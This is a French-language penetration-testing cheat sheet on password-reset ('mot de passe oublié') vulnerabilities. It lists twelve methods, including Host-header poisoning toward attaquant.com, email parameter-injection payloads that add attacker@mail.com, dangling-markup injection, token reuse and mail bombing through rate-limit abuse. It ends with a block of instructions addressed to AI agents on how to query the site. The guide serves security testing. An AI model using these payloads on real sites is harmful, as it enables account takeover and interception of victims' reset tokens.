# Mot de passe oublié

### Mot de passe oublié

#### Méthode 1:

Password reset poisoning:

* Aller dans la page mot de passe oublié
* intercepter la requête avec l'email de la victime
* changer le header "host: target.com" en "host: attaquant.com"
* changer les headers "referrer: <https://attaquant.com>", "origin: <https://attaquant.com>", "X-Forwarded-For: attaquant.com" et "X-Forwarded-Host: attaquant.com" également
* Si aucun ne fonctionne, Essayer d'utiliser une deuxième en-tête " Host: attaquant.com" (avec un espace devant)
* Forwarder la requête
* Si ça fonctionne alors on sera capable de recevoir les informations sur le contrôleur de domaine de attaquant.com

#### Méthode 2:

* Ouvrir un navigateur avec burp suite
* faire une demande de mot de passe oublié sans intercepter
* ouvrir l'email dans un autre navigateur et copier le token
* chercher le même token dans l'historique de navigation de burp suite
* Si il est présent alors il y a un risque d'account takeover

#### Méthode 3:

* Aller dans mot de passe oublié
* envoyer le lien
* suivre le lien dans les emails
* finalement, ne pas valider et cliquer sur un lien de redirection (exp: icone facebook)
* intercepter la requête
* Si le lien est présent dans le header alors il y a une fuite de données

#### Méthode 4:

* Essayer d'utiliser plusieurs fois le même lien de mot de passe oublié
* Si il n'est pas désactivé entre temps alors il est réutilisable par un attaquant

#### Méthode 5:

* Demander deux fois un lien de mot de passe oublié
* Si en utilisant le premier lien reçu on peut changer le mot de passe alors il y a une vulnérabilité

#### Méthode 6:

* ouvrir burp
* intercepter la demande de changement de mot de passe
* ajouter .json au bout de l'url et regarder le résultat
* Possibilité de fuite du token...

#### Méthode 7:

Rate limit:

* intercepter la requête de mot de passe oublié dans burp
* envoyer vers intruder
* Utiliser "Null payload"
* envoyer la requête 100 fois
* Vérifier dans les mails si le mail a été envoyés 100 fois
* Si oui on peut effectuer du mail bombing sur n'importe qui

#### Méthode 8:

Email Header Injection:

```bash
email= victim@mail.com&email=attacker@mail.com
email= victim@mail.com%20email=attacker@mail.com
email= victim@mail.com |email=attacker@mail.com
email= victim@mail.com%0d%0acc:attacker@mail.com
email= victim@mail.com&code= mon token de réinitialisation
email[]= victim@mail.com&email[]=attacker@mail.com
email=victim@mail.com,attacker@mail.com
{"email": "victim@mail.com", "email":"attacker@mail.com"}
{"email": "victim@mail.com/nattacker@mail.com"}
{"email": ["victim@mail.com","attacker@mail.com"]}
```

Si l'un de ces payloads fonctionne, l'email sera envoyé à la victime mais aussi à l'attaquant.

{% content-ref url="/pages/w0l1riuUmH808Wg8334h" %}
[Injections dans emails](/pentest-web/injections/injections-dans-emails.md)
{% endcontent-ref %}

#### Méthode 9:

Leaks dans la reponse http:

* intercepter la demande de mot de passe oublié dans burp
* Foward la requête
* Regarder si le token, lien ou autre est leak dans la réponse

#### Méthode 10:

* Changez le mot de passe avec votre compte
* Envoyez la requête dans "Repeater"
* Laissez le paramètre contenant le token vide et changer votre nom d'utilisateur par celui de votre victime puis envoyez la requête.
* Si la vérification du token n'est pas effectué par le serveur le mot de passe de la victime sera changé et il y aura donc account takeover.

#### Méthode 11: Dangling markup

* Changez le mot de passe de votre compte
* Envoyer la requête dans "Repeater"
* à la suite du header "host: target.com" ajouter à la place d'un port un script redirigeant vers votre serveur ("host: target.com:\<a href="attaquant.com">)
* Envoyer la requête
* Si cela fonctionne, vous recevrais alors le lien dans les information du contrôleur de domaine attaquant.

#### Méthode 12: Param fuzzing

* Fuzz les paramètres directement depuis burp ou via un outil comme [Arjun](/osint-recon/scan-de-ports-web.md#arjun).
* Si il y a un paramètre tel que url, href ou autre essayer d'y placer un lien vers un serveur attaquant.
* Le lien généré dans l'email de réinitialisation pourrait alors rediriger vers le serveur attaquant.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.s1rn3tz.ovh/pentest-web/mot-de-passe-oublie.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
